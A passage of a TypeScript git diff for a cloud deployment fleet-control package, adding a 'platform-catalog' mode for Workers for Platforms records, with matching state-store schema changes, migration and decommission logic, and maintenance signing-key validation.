: release.physicalScriptName), ) === index, ); } @@ -297,6 +299,9 @@ export function assertImmutableDeploymentMapping( prior.tenantTag !== spec.tenantTag || prior.environment !== spec.environment || prior.backend !== backend.kind || + (Object.hasOwn(prior, 'wfpMode') && !isPlatformCatalogRecord(prior)) || + (prior.backend === 'workers-for-platforms' && + isPlatformCatalogRecord(prior) !== (spec.authoredBy === 'platform')) || prior.scriptName !== spec.scriptName || prior.databaseName !== spec.databaseName || prior.routeHostname !== spec.routeHostname @@ -872,19 +877,16 @@ async function commitRecord( ); } -function consumeMigrationCarrier( +export function consumeMigrationCarrier( record: FleetRecord, spec: DeploymentSpec, - intent: Exclude, + requestedSpecDigest: string, ): FleetRecord { - if (intent.lifecyclePhase !== 'migrating') return record; - if (intent.identity.mode.kind !== 'normal') { - throw new Error('normal decommission cannot consume a backend switch'); - } + if (effectiveLifecyclePhase(record) !== 'migrating') return record; const priorActive = record.activeRelease ?? activeExternalRelease(record); const pendingRelease = record.pendingRelease ?? - (record.backend === 'plain-worker' && + ((record.backend === 'plain-worker' || isPlatformCatalogRecord(record)) && record.pendingArtifactVersion !== undefined && record.pendingSpecDigest !== undefined ? { @@ -906,7 +908,7 @@ function consumeMigrationCarrier( } = record; return { ...remaining, - desiredSpecDigest: intent.identity.mode.requestedSpecDigest, + desiredSpecDigest: requestedSpecDigest, ...(priorActive ? { activeRelease: priorActive } : {}), ...(pendingRelease ? { pendingRelease } : {}), }; @@ -965,7 +967,16 @@ async function advanceLifecycle( fence: lease, }); } - const consumed = consumeMigrationCarrier(record, spec, intent); + let consumed = record; + if (phase === 'migrating') { + if (intent.identity.mode.kind !== 'normal') + throw new Error('normal decommission cannot consume a backend switch'); + consumed = consumeMigrationCarrier( + record, + spec, + intent.identity.mode.requestedSpecDigest, + ); + } return commitRecord( lease, consumed, diff --git a/packages/fleet-control/src/decommission-intent.ts b/packages/fleet-control/src/decommission-intent.ts index c1ff3be0..a747f95c 100644 --- a/packages/fleet-control/src/decommission-intent.ts +++ b/packages/fleet-control/src/decommission-intent.ts @@ -21,7 +21,7 @@ import type { FleetRecord, NormalDecommissionLifecyclePhase, } from './types.js'; -import { BACKEND_SWITCH_SUBPHASES } from './types.js'; +import { BACKEND_SWITCH_SUBPHASES, isPlatformCatalogRecord } from './types.js'; export const DECOMMISSION_INTENT_BYTE_BOUND = 96 * 1024; const TOKEN_BYTE_BOUND = 1024; @@ -226,6 +226,7 @@ function migrationCarrier( if (source.migrationIntent) { if ( source.backend !== 'workers-for-platforms' || + isPlatformCatalogRecord(source) || (source.pendingSpecDigest !== undefined && source.pendingSpecDigest !== source.migrationIntent.targetSpecDigest) || source.pendingArtifactVersion !== undefined @@ -236,7 +237,7 @@ function migrationCarrier( } if (source.pendingSpecDigest !== undefined) { if ( - source.backend !== 'plain-worker' || + (source.backend !== 'plain-worker' && !isPlatformCatalogRecord(source)) || !sha256(source.pendingSpecDigest) || (source.pendingArtifactVersion !== undefined && (typeof source.pendingArtifactVersion !== 'string' || diff --git a/packages/fleet-control/src/fleet.ts b/packages/fleet-control/src/fleet.ts index 72462f7e..3cc6b69d 100644 --- a/packages/fleet-control/src/fleet.ts +++ b/packages/fleet-control/src/fleet.ts @@ -13,6 +13,7 @@ import { finalizedBridgeForRecord, reconcileFinalizedBackendSwitchState, } from './backend-switch.js'; +import { activeExternalRelease } from './decommission-advance.js'; import type { FleetMigrationItem, FleetMigrationPlanEntry, @@ -68,6 +69,7 @@ import { assertNoActiveDecommission, EXTERNAL_MIGRATION_SUBPHASES, effectiveLifecyclePhase, + isPlatformCatalogRecord, } from './types.js'; import { targetDurableObjectTag, @@ -281,7 +283,12 @@ function liveScriptName(record: FleetRecord): string { function expectedReleaseSnapshots( record: FleetRecord, ): readonly ExternalReleaseSnapshot[] { - if (!expectsWorker(record) || record.backend === 'plain-worker') return []; + if ( + !expectsWorker(record) || + record.backend === 'plain-worker' || + isPlatformCatalogRecord(record) + ) + return []; const phase = effectiveLifecyclePhase(record); const snapshots = (() => { switch (phase) { @@ -337,7 +344,8 @@ function expectedReleaseSnapshots( function expectedScriptNames(record: FleetRecord): readonly string[] { if (!expectsWorker(record)) return []; - if (record.backend === 'plain-worker') return [record.scriptName]; + if (record.backend === 'plain-worker' || isPlatformCatalogRecord(record)) + return [record.scriptName]; const phase = effectiveLifecyclePhase(record); const releases = expectedReleaseSnapshots(record); const names = releases.map((release) => release.physicalScriptName); @@ -378,6 +386,12 @@ function routeMatchesRecord( route: FleetResourceInventory['routes'][number], record: FleetRecord, ): boolean { + if (isPlatformCatalogRecord(record)) + return ( + route.scriptName === record.scriptName && + routePolicyMatches(route, record) && + route.stateEgress === undefined + ); if (record.backend === 'workers-for-platforms') { return externalRouteExpectations(record).some((expected) => { const target = externalHostRoutingTarget(record, expected); @@ -450,6 +464,7 @@ function expectedNamespaceIdsForRecord(record: FleetRecord): readonly string[] { } function allowedRouteScriptNames(record: FleetRecord): readonly string[] { + if (isPlatformCatalogRecord(record)) return [record.scriptName]; if (record.backend === 'workers-for-platforms') { return externalRouteExpectations(record).map( (expected) => expected.release.physicalScriptName, @@ -2827,7 +2842,19 @@ async function migrationAdmitMigrating( targetRelease, targetPlatform, platformOnlyTarget, + spec, } = admitted; + const preserveMutableArtifact = + current.phase === 'ready' && + !targetRelease && + spec.authoredBy === 'platform'; + const mutableActiveRelease = preserveMutableArtifact + ? activeExternalRelease(current) + : undefined; + if (preserveMutableArtifact && !mutableActiveRelease) + throw new Error( + 'mutable migration requires a recorded prior Worker artifact', + ); const externalIntent: ExternalMigrationIntent | undefined = immutableExternal && targetRelease && targetPlatform ? planKind === 'platform-only' @@ -2860,6 +2887,9 @@ async function migrationAdmitMigrating( ? { ...current, phase: 'migrating', + ...(mutableActiveRelease + ? { activeRelease: mutableActiveRelease } + : {}), ...(externalIntent?.platformOnly ? { migrationIntent: externalIntent } : targetRelease @@ -3563,6 +3593,7 @@ async function migrationSettleReady( delete settled.pendingSpecDigest; delete settled.pendingArtifactVersion; delete settled.migrationIntent; + if (spec.authoredBy === 'platform') delete settled.activeRelease; const migrated: FleetRecord = { ...settled, phase: 'ready', diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index a0af4964..898038e2 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -279,6 +279,7 @@ export { type InvocationAuthorityCarrier, type LiveDeployment, type MaintenanceHealth, + type MaintenanceSigningProfile, type NormalDecommissionLifecyclePhase, type ObservedActiveRoute, type PlainWorkerCleanupOutcome, diff --git a/packages/fleet-control/src/platform-resources.ts b/packages/fleet-control/src/platform-resources.ts index 2476b1cb..33809811 100644 --- a/packages/fleet-control/src/platform-resources.ts +++ b/packages/fleet-control/src/platform-resources.ts @@ -17,6 +17,7 @@ import type { ExternalReleaseSnapshot, ExternalReleaseTopology, FleetRecord, + MaintenanceSigningProfile, ProvisioningBackend, TrustedWorkerArtifact, } from './types.js'; @@ -596,21 +597,9 @@ function validateArtifact( } } -export function validateExternalPlatformProfile( - spec: DeploymentSpec, - profile: ExternalPlatformProfile, +export function validateMaintenanceSigningProfile( + profile: MaintenanceSigningProfile, ): void { - if (spec.authoredBy !== 'external') { - throw new Error('external platform resources require an external release'); - } - if (profile.runtimeContractVersion !== 1) { - throw new Error('unsupported trusted platform runtime contract'); - } - if (profile.backwardCompatibleWithRetainedReleases !== true) { - throw new Error( - 'trusted platform profile must attest compatibility with retained releases', - ); - } if ( typeof profile.maintenanceCapabilityPublicKey !== 'string' || canonicalMaintenanceCapabilityPublicKey( @@ -621,7 +610,7 @@ export function validateExternalPlatformProfile( } const privateKey = profile.maintenanceCapabilityPrivateKey; if ( - privateKey.kty !== 'OKP' || + privateKey?.kty !== 'OKP' || privateKey.crv !== 'Ed25519' || privateKey.alg !== 'EdDSA' || typeof privateKey.kid !== 'string' || @@ -648,6 +637,24 @@ export function validateExternalPlatformProfile( 'maintenance capability private signer does not match its public verifier', ); } +} + +export function validateExternalPlatformProfile( + spec: DeploymentSpec, + profile: ExternalPlatformProfile, +): void { + if (spec.authoredBy !== 'external') { + throw new Error('external platform resources require an external release'); + } + if (profile.runtimeContractVersion !== 1) { + throw new Error('unsupported trusted platform runtime contract'); + } + if (profile.backwardCompatibleWithRetainedReleases !== true) { + throw new Error( + 'trusted platform profile must attest compatibility with retained releases', + ); + } + validateMaintenanceSigningProfile(profile); validateArtifact(profile.stateWorker, 'state Worker artifact'); if (profile.legacyBridgeWorker) { validateArtifact(profile.legacyBridgeWorker, 'legacy bridge artifact'); diff --git a/packages/fleet-control/src/provision.ts b/packages/fleet-control/src/provision.ts index bc930795..4be12fc5 100644 --- a/packages/fleet-control/src/provision.ts +++ b/packages/fleet-control/src/provision.ts @@ -15,6 +15,7 @@ import { convergeApplicationR2Deletion, DEPLOYMENT_PLATFORM_VARIABLE_NAMES, liveApplicationTopologyMatches, + PLATFORM_CATALOG_VARIABLE_NAMES, reserveApplicationR2Resources, } from './application-bindings.js'; import { @@ -42,6 +43,7 @@ import { advanceDecommissionDeployment, assertImmutableDeploymentMapping, assertNormalDecommissionD1ResourcesDeleted, + consumeMigrationCarrier, type DecommissionAdvanceAction, reconcilePersistedDatabase, retainedExternalReleases, @@ -177,6 +179,10 @@ function recordAt( return { tenantTag: spec.tenantTag, backend: backend.kind, + ...(backend.kind === 'workers-for-platforms' && + spec.authoredBy === 'platform' + ? { wfpMode: 'platform-catalog' as const } + : {}), environment: spec.environment, scriptName: spec.scriptName, databaseId: database.id, @@ -217,7 +223,9 @@ function expectedBindingKeys( export function assertLiveDeploymentMatches( live: import('./types.js').LiveDeployment, record: Pick & - Partial>, + Partial< + Pick + >, spec: DeploymentSpec, expectedDigest: string, expectedApplication: @@ -306,7 +314,10 @@ export function assertLiveDeploymentMatches( !liveApplicationTopologyMatches( application, live, - DEPLOYMENT_PLATFORM_VARIABLE_NAMES, + record.backend === 'workers-for-platforms' && + spec.authoredBy === 'platform' + ? PLATFORM_CATALOG_VARIABLE_NAMES + : DEPLOYMENT_PLATFORM_VARIABLE_NAMES, ) || JSON.stringify([...live.secretNames].sort()) !== JSON.stringify(expectedSecretNames) @@ -1819,6 +1830,17 @@ export interface ForceDecommissionDeploymentOptions { }>; } +async function deleteForceRecord(lease: FleetStateLease): Promise { + if ( + Reflect.has(lease, 'deleteReleasingClaims') && + typeof lease.deleteReleasingClaims === 'function' + ) { + await lease.deleteReleasingClaims(); + } else { + await lease.delete(); + } +} + export async function forceDecommissionDeployment( input: ForceDecommissionDeploymentOptions, ): Promise { @@ -1838,12 +1860,12 @@ export async function forceDecommissionDeployment( ); } if (current.phase === 'decommissioned') { - await lease.delete(); + await deleteForceRecord(lease); return; } if (current.phase === 'database-reserved') { await emitDecommissionAudit(input.options?.audit, current, true); - await lease.delete(); + await deleteForceRecord(lease); return; } if (current.phase === 'database-create-authorized') { @@ -1927,16 +1949,7 @@ export async function forceDecommissionDeployment( }; await lease.put(record); await emitDecommissionAudit(input.options?.audit, record, true); - // Capable stores release this deployment's current claims with the row; - // legacy lease implementations keep tombstone claims through delete(). - if ( - Reflect.has(lease, 'deleteReleasingClaims') && - typeof lease.deleteReleasingClaims === 'function' - ) { - await lease.deleteReleasingClaims(); - } else { - await lease.delete(); - } + await deleteForceRecord(lease); }, ); } @@ -2004,7 +2017,13 @@ async function decommissionDeploymentUnderLease( backend, fence: lease, }); - record = { ...record, phase: 'decommissioning', updatedAt: nowIso(clock) }; + record = { + ...(record.migrationIntent + ? { ...record, desiredSpecDigest: deploymentSpecDigest(spec) } + : consumeMigrationCarrier(record, spec, deploymentSpecDigest(spec))), + phase: 'decommissioning', + updatedAt: nowIso(clock), + }; await lease.put(record); } if (record.phase === 'decommissioning') { @@ -2092,8 +2111,14 @@ async function decommissionDeploymentUnderLease( await backend.deletePlatformResources(spec, record, database, lease); await backend.assertDatabaseDetached(spec, record, database, lease); } + const { + migrationIntent: _migrationIntent, + pendingSpecDigest: _pendingSpecDigest, + pendingArtifactVersion: _pendingArtifactVersion, + ...withoutMigrationCarrier + } = record; record = { - ...record, + ...withoutMigrationCarrier, phase: 'platform-resources-deleted', updatedAt: nowIso(clock), }; diff --git a/packages/fleet-control/src/state-store.ts b/packages/fleet-control/src/state-store.ts index dd28198a..075c02cf 100644 --- a/packages/fleet-control/src/state-store.ts +++ b/packages/fleet-control/src/state-store.ts @@ -55,6 +55,7 @@ import type { import { EXTERNAL_MIGRATION_SUBPHASES, effectiveLifecyclePhase, + isPlatformCatalogRecord, PROVISIONING_PHASES, } from './types.js'; import { deploymentKey } from './validation.js'; @@ -174,21 +175,16 @@ const FLEET_ROW_COLUMNS = [ 'database_export_size', 'settled_settlement_key', 'updated_at', + 'wfp_mode', ] as const; -/** - * Nullable TEXT columns added to a table that already shipped, in the order - * they were added. Each is created by ALTER on an existing database and by the - * CREATE above on a new one, and each is asserted present afterwards: a column - * that silently failed to appear would not fail a write, it would drop the - * value on every write. - */ export const ADDED_NULLABLE_TEXT_COLUMNS = [ 'backend_switch_intent', 'settled_settlement_key', 'decommission_intent', 'cleanup_intent', 'invocation_authority', + 'wfp_mode', ] as const; function isDuplicateColumnError( @@ -257,6 +253,7 @@ function rowNumber( function optionalReleaseSnapshot( value: unknown, key: string, + mutableScriptName?: string, ): ExternalReleaseSnapshot | undefined { if (value === null || value === undefined) return undefined; if (typeof value !== 'string') { @@ -288,7 +285,16 @@ function optionalReleaseSnapshot( 'application' in release ? release.application : undefined, `${key}.application`, ); - if (release.artifactVersion !== 'pending' && !topology) { + const ownMutableArtifact = + mutableScriptName !== undefined && + mutableScriptName.length > 0 && + release.physicalScriptName === mutableScriptName && + release.artifactVersion.length > 0; + if ( + release.artifactVersion !== 'pending' && + !topology && + !ownMutableArtifact + ) { throw new Error(`fleet state row has invalid ${key}`); } if ( @@ -705,6 +711,29 @@ function assertCleanupIntentExclusive(record: FleetRecord): void { function validateRecordCrossFields(record: FleetRecord): void { const phase = effectiveLifecyclePhase(record); assertCleanupIntentExclusive(record); + const catalog = isPlatformCatalogRecord(record); + if ( + catalog && + [ + record.activeRelease, + record.pendingRelease, + record.migrationPriorRelease, + record.rollbackRelease, + record.retiringRelease, + ].some( + (release) => release && release.physicalScriptName !== record.scriptName, + ) + ) + throw new Error('fleet state row has a foreign catalog release'); + if ( + Object.hasOwn(record, 'wfpMode') && + (!catalog || + record.platformResources || + record.platformTarget || + record.migrationIntent || + record.backendSwitchIntent) + ) + throw new Error('fleet state row has inconsistent wfp_mode'); const { activeRelease, backend, @@ -718,6 +747,21 @@ function validateRecordCrossFields(record: FleetRecord): void { platformTarget, schemaVersion, } = record; + // The retained target authorizes recovery of a state upload whose response is lost. + const legacyMigrationTeardown = + backend === 'workers-for-platforms' && + record.wfpMode === undefined && + record.cleanupIntent === undefined && + record.decommissionIntent === undefined && + record.backendSwitchIntent === undefined && + record.desiredSpecDigest === migrationIntent?.targetSpecDigest && + [ + 'decommissioning', + 'traffic-removed', + 'credentials-revoked', + 'worker-deleted', + 'platform-credentials-revoked', + ].includes(record.phase); if ( (backend === 'workers-for-platforms' && !outboundPolicy) || (backend === 'plain-worker' && outboundPolicy) || @@ -739,7 +783,7 @@ function validateRecordCrossFields(record: FleetRecord): void { (platformTarget && JSON.stringify(platformTarget.outboundPolicy) !== JSON.stringify(outboundPolicy)) || - (migrationIntent && phase !== 'migrating') || + (migrationIntent && phase !== 'migrating' && !legacyMigrationTeardown) || (migrationIntent && migrationIntent.targetSpecDigest !== migrationIntent.targetRelease.specDigest) || @@ -768,11 +812,13 @@ function validateRecordCrossFields(record: FleetRecord): void { throw new Error('fleet state row has inconsistent migration intent'); } if ( - (backend === 'plain-worker' && (platformTarget || migrationIntent)) || + ((backend === 'plain-worker' || catalog) && + (platformTarget || migrationIntent)) || (backend === 'workers-for-platforms' && platformResources !== undefined && platformTarget === undefined) || (backend === 'workers-for-platforms' && + !catalog && phase === 'migrating' && migrationIntent === undefined) ) { @@ -780,7 +826,7 @@ function validateRecordCrossFields(record: FleetRecord): void { } if ( pendingArtifactVersion !== undefined && - (backend !== 'plain-worker' || + ((backend !== 'plain-worker' && !catalog) || phase !== 'migrating' || typeof pendingSpecDigest !== 'string' || pendingArtifactVersion.length === 0 || @@ -810,6 +856,13 @@ function toRecord(row: Readonly>): FleetRecord { if (backend !== 'plain-worker' && backend !== 'workers-for-platforms') { throw new Error('fleet state row has invalid backend'); } + const wfpMode = row.wfp_mode; + if ( + wfpMode !== null && + wfpMode !== undefined && + wfpMode !== 'platform-catalog' + ) + throw new Error('fleet state row has invalid wfp_mode'); const phase = rowString(row, 'phase'); if (!PROVISIONING_PHASES.includes(phase as ProvisioningPhase)) { throw new Error('fleet state row has invalid phase'); @@ -1142,25 +1195,34 @@ function toRecord(row: Readonly>): FleetRecord { ) { throw new Error('fleet state row has invalid durable_object_bindings'); } + const mutableScriptName = + backend === 'plain-worker' || wfpMode === 'platform-catalog' + ? rowString(row, 'script_name') + : undefined; const activeRelease = optionalReleaseSnapshot( row.active_release, 'active_release', + mutableScriptName, ); const pendingRelease = optionalReleaseSnapshot( row.pending_release, 'pending_release', + mutableScriptName, ); const migrationPriorRelease = optionalReleaseSnapshot( row.migration_prior_release, 'migration_prior_release', + mutableScriptName, ); const rollbackRelease = optionalReleaseSnapshot( row.rollback_release, 'rollback_release', + mutableScriptName, ); const retiringRelease = optionalReleaseSnapshot( row.retiring_release, 'retiring_release', + mutableScriptName, ); const tenantTag = rowString(row, 'tenant_tag'); const environment = rowString(row, 'environment'); @@ -1222,6 +1284,7 @@ function toRecord(row: Readonly>): FleetRecord { tenantTag, environment, backend, + ...(wfpMode === 'platform-catalog' ? { wfpMode } : {}), scriptName: rowString(row, 'script_name'), databaseId: rowString(row, 'database_id'), databaseName: rowString(row, 'database_name'), @@ -1527,6 +1590,7 @@ export class D1FleetStateStore database_export_size INTEGER, settled_settlement_key TEXT, updated_at TEXT NOT NULL, + wfp_mode TEXT, PRIMARY KEY (tenant_tag, environment), UNIQUE (backend, script_name), UNIQUE (database_id), @@ -1539,7 +1603,6 @@ export class D1FleetStateStore try { await this.#db.execute(`ALTER TABLE ${TABLE} ADD COLUMN ${name} TEXT`); } catch (error) { - // A replica that added the same column between the read and the write. if (!isDuplicateColumnError(error, name)) throw error; } fleetColumns = await this.#db.query(`PRAGMA table_info(${TABLE})`); @@ -2163,6 +2226,7 @@ export class D1FleetStateStore record.databaseExportSize ?? null, record.settledSettlementKey ?? null, record.updatedAt, + record.wfpMode ?? null, ] as const; const upsertSql = `INSERT INTO ${TABLE} ( tenant_tag, environment, backend, script_name, database_id, @@ -2175,15 +2239,17 @@ export class D1FleetStateStore durable_object_bindings, application_resources, application_bindings, route_hostname, phase, database_export_location, database_export_sha256, - database_export_size, settled_settlement_key, updated_at + database_export_size, settled_settlement_key, updated_at, wfp_mode ) SELECT CASE WHEN EXISTS ( SELECT 1 FROM ${LEASE_TABLE} WHERE tenant_tag = ? AND environment = ? AND owner_token = ? AND expires_at > ${DB_NOW_MS} ) THEN ? ELSE NULL END, - ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? + ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? WHERE true ON CONFLICT (tenant_tag, environment) DO UPDATE SET + tenant_tag = CASE WHEN ${TABLE}.wfp_mode IS NULL OR ${TABLE}.wfp_mode IS excluded.wfp_mode + THEN excluded.tenant_tag ELSE NULL END, backend = excluded.backend, script_name = excluded.script_name, database_id = excluded.database_id, @@ -2218,7 +2284,8 @@ export class D1FleetStateStore database_export_sha256 = excluded.database_export_sha256, database_export_size = excluded.database_export_size, settled_settlement_key = excluded.settled_settlement_key, - updated_at = excluded.updated_at + updated_at = excluded.updated_at, + wfp_mode = excluded.wfp_mode RETURNING tenant_tag, environment`; let results: readonly (readonly Readonly>[])[]; try { @@ -2327,6 +2394,8 @@ export class D1FleetStateStore let workerClaim: DeploymentClaim; if (record.backend === 'plain-worker') { workerClaim = ['worker-script', record.scriptName, 'deployment-worker']; + } else if (isPlatformCatalogRecord(record)) { + workerClaim = ['dispatch-script', record.scriptName, 'deployment-worker']; } else if (record.platformResources) { const state = record.platformResources.stateWorker; if (state.plane === 'ordinary') { diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index 98602079..d561f2db 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -56,6 +56,11 @@ export interface ExternalPlatformProfile { readonly organizationEgressHosts: readonly string[]; } +export type MaintenanceSigningProfile = Pick< + ExternalPlatformProfile, + 'maintenanceCapabilityPublicKey' | 'maintenanceCapabilityPrivateKey' +>; + export interface DurableObjectMigration { readonly tag: string; readonly newSqliteClasses?: readonly string[]; @@ -972,6 +977,8 @@ export interface CleanupTerminalReceipt { export interface FleetRecord { readonly tenantTag: string; readonly backend: ProvisioningBackendKind; + /** Absence preserves external ownership for legacy WFP rows. */ + readonly wfpMode?: 'platform-catalog'; readonly environment: string; readonly scriptName: string; readonly databaseId: string; @@ -1019,6 +1026,16 @@ export interface FleetRecord { readonly updatedAt: string; } +export function isPlatformCatalogRecord( + record: Pick, +): boolean { + return ( + record.backend === 'workers-for-platforms' && + Object.hasOwn(record, 'wfpMode') && + record.wfpMode === 'platform-catalog' + ); +} + export function effectiveLifecyclePhase( record: FleetRecord, ): ProvisioningPhase { diff --git a/packages/fleet-control/src/workers-for-platforms-backend.ts b/packages/fleet-control/src/workers-for-platforms-backend.ts index f80d8dda..0e91ecf9 100644 --- a/packages/fleet-control/src/workers-for-platforms-backend.ts +++ b/packages/fleet-control/src/workers-for-platforms-backend.ts @@ -5,7 +5,6 @@ import { provisionDeploymentIdentityProtocol, readDeploymentIdentityProtocol, } from '@proofoftech/flowsafe/deployment-identity-protocol'; -import type { MaintenanceCapabilityJwk } from '@proofoftech/flowsafe/host-kit'; import { MAINTENANCE_RECEIPT_HEADER, mintAsymmetricMaintenanceCapability, @@ -42,6 +41,7 @@ import { FLEET_AUDIT_PROXY_STATE_BINDING, trustedArtifactDigest, validateExternalPlatformProfile, + validateMaintenanceSigningProfile, } from './platform-resources.js'; import { assertProviderBindingIdentitiesMatchInspection } from './provider-binding-inventory.js'; import { deploymentSpecDigest } from './spec-digest.js'; @@ -65,12 +65,14 @@ import type { FleetRecord, LiveDeployment, MaintenanceHealth, + MaintenanceSigningProfile, PromotionGuard, ProviderBindingIdentity, ProvisioningBackend, ScriptInventoryTarget, SeedDeploymentIdentityOptions, } from './types.js'; +import { isPlatformCatalogRecord } from './types.js'; const RELEASE_DIGEST_LENGTH = 48; const DEFAULT_MAINTENANCE_REQUEST_TIMEOUT_MS = 15_000; @@ -88,9 +90,10 @@ function candidateMaintenanceUrl( spec: DeploymentSpec, physicalScriptName: string, operation: 'ensure-maintenance' | 'maintenance-status', + specDigest = deploymentSpecDigest(spec), ): URL { return new URL( - `/.well-known/anchorage/maintenance/${encodeURIComponent(spec.tenantTag)}/${encodeURIComponent(spec.environment)}/${encodeURIComponent(physicalScriptName)}/${deploymentSpecDigest(spec)}/${operation}`, + `/.well-known/anchorage/maintenance/${encodeURIComponent(spec.tenantTag)}/${encodeURIComponent(spec.environment)}/${encodeURIComponent(physicalScriptName)}/${specDigest}/${operation}`, spec.maintenanceBaseUrl, ); } @@ -238,6 +241,7 @@ export interface WorkersForPlatformsApi { physicalScriptName?: string, platformResources?: ExternalPlatformResources, application?: import('./types.js').ApplicationBindingTopology, + maintenanceCapabilityPublicKey?: string, ): Promise<{ artifactVersion: string }>; uploadNamespacedStateWorker?(options: { readonly spec: DeploymentSpec; @@ -441,7 +445,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { readonly #clock: () => number; readonly #platformProfileFor?: ( spec: DeploymentSpec, - ) => ExternalPlatformProfile; + ) => ExternalPlatformProfile | MaintenanceSigningProfile; readonly #namespacedState: Readonly<{ dispatchNamespace: string; sharedOutboundWorkerName: string; @@ -458,7 +462,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { readonly clock?: () => number; readonly platformProfileFor?: ( spec: DeploymentSpec, - ) => ExternalPlatformProfile; + ) => ExternalPlatformProfile | MaintenanceSigningProfile; readonly namespacedState: Readonly<{ dispatchNamespace: string; sharedOutboundWorkerName: string; @@ -566,7 +570,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { } #deploymentAuditQueueName(spec: DeploymentSpec): string | undefined { - if (!spec.queueProducer) return undefined; + if (spec.authoredBy !== 'external' || !spec.queueProducer) return undefined; if ( spec.queueProducer.binding !== 'AUDIT_QUEUE' || !this.#auditQueueName || @@ -782,7 +786,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { #platformProfile(spec: DeploymentSpec): ExternalPlatformProfile { const profile = this.#platformProfileFor?.(spec); - if (!profile) { + if (!profile || !('stateWorker' in profile)) { throw new Error( 'external Workers for Platforms deployment requires a trusted platformProfileFor provider', ); @@ -791,34 +795,33 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { return profile; } - #capabilityPrivateKey(spec: DeploymentSpec): MaintenanceCapabilityJwk { - const profile = this.#platformProfile(spec); - const privateKey = profile.maintenanceCapabilityPrivateKey; - if ( - !privateKey || - typeof privateKey.d !== 'string' || - typeof privateKey.x !== 'string' || - typeof privateKey.kid !== 'string' - ) { + #maintenanceSigningProfile(spec: DeploymentSpec): MaintenanceSigningProfile { + if (spec.authoredBy === 'external') return this.#platformProfile(spec); + const profile = this.#platformProfileFor?.(spec); + if (!profile) { throw new Error( - 'external maintenance requires a fleet-private Ed25519 capability signer', + 'Workers for Platforms maintenance requires a trusted platformProfileFor signer', ); } - const publicKey = canonicalMaintenanceCapabilityPublicKey( - JSON.stringify({ - kty: privateKey.kty, - crv: privateKey.crv, - alg: privateKey.alg, - kid: privateKey.kid, - x: privateKey.x, - }), - ); - if (publicKey !== profile.maintenanceCapabilityPublicKey) { + validateMaintenanceSigningProfile(profile); + return profile; + } + + #assertCatalogMaintenanceBindings( + spec: DeploymentSpec, + bindings: Readonly>, + publicKey: string, + ): void { + if ( + bindings.FLEET_MAINTENANCE_CAPABILITIES !== 'required' || + bindings.FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY !== publicKey || + bindings.FLEET_DEPLOYMENT_SCRIPT !== spec.scriptName || + bindings.FLEET_RESOURCE_ROLE !== 'platform-catalog' + ) { throw new Error( - 'maintenance capability signer does not match the immutable platform verifier', + `platform catalog '${spec.scriptName}' requires signed maintenance enrollment with its configured verifier`, ); } - return privateKey; } #describeExternalPlatformTarget( @@ -1271,6 +1274,10 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { database: DatabaseReference, fence: ExternalMutationFence, ): Promise { + if (spec.authoredBy !== 'external' || record.wfpMode !== undefined) + throw new Error( + 'external platform resources require an external deployment', + ); await this.#withMutationFence(fence, async () => { const resources = record.platformResources; const stateName = externalStateScriptName(spec); @@ -1377,6 +1384,10 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { database: DatabaseReference, fence: ExternalMutationFence, ): Promise { + if (spec.authoredBy !== 'external' || record.wfpMode !== undefined) + throw new Error( + 'external platform resources require an external deployment', + ); await this.#withMutationFence(fence, async () => { const resources = record.platformResources; const stateName = externalStateScriptName(spec); @@ -1437,8 +1448,29 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { }> { return this.#withMutationFence(fence, async () => { const physicalScriptName = this.releaseScriptName(spec); + const catalogPublicKey = + spec.authoredBy === 'platform' + ? this.#maintenanceSigningProfile(spec).maintenanceCapabilityPublicKey + : undefined; this.#deploymentAuditQueueName(spec); const existing = await this.#inspectDispatchWorker(physicalScriptName); + if (catalogPublicKey && existing) { + const currentKey = + existing.plainTextBindings.FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY; + if (currentKey !== undefined && currentKey !== catalogPublicKey) + throw new Error( + 'platform catalog maintenance verifier cannot change during deployment', + ); + if ( + existing.plainTextBindings.FLEET_MAINTENANCE_CAPABILITIES === + 'required' + ) + this.#assertCatalogMaintenanceBindings( + spec, + existing.plainTextBindings, + catalogPublicKey, + ); + } const targetDigest = deploymentSpecDigest(spec); if ( spec.authoredBy === 'external' && @@ -1530,17 +1562,18 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { if ( existing.tenantTag !== spec.tenantTag || existing.environment !== spec.environment || + !isSha256(existing.desiredSpecDigest) || (spec.authoredBy === 'external' && (existing.desiredSpecDigest !== targetDigest || - existing.schemaVersion !== spec.schemaVersion)) || + existing.schemaVersion !== spec.schemaVersion || + bindingKeys(existing.durableObjectBindings) !== + bindingKeys(expectedBindings) || + JSON.stringify(existing.serviceBindings ?? []) !== + JSON.stringify(expectedServiceBindings) || + JSON.stringify(existing.queueProducerBindings ?? []) !== + JSON.stringify(expectedQueueBindings))) || existing.databaseIds.length !== 1 || - existing.databaseIds[0] !== database.id || - bindingKeys(existing.durableObjectBindings) !== - bindingKeys(expectedBindings) || - JSON.stringify(existing.serviceBindings ?? []) !== - JSON.stringify(expectedServiceBindings) || - JSON.stringify(existing.queueProducerBindings ?? []) !== - JSON.stringify(expectedQueueBindings) + existing.databaseIds[0] !== database.id ) { throw new Error( spec.authoredBy === 'external' @@ -1584,6 +1617,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { physicalScriptName, platformResources, application, + catalogPublicKey, ); } else { deployed = await this.#client.uploadDispatchWorker( @@ -1592,6 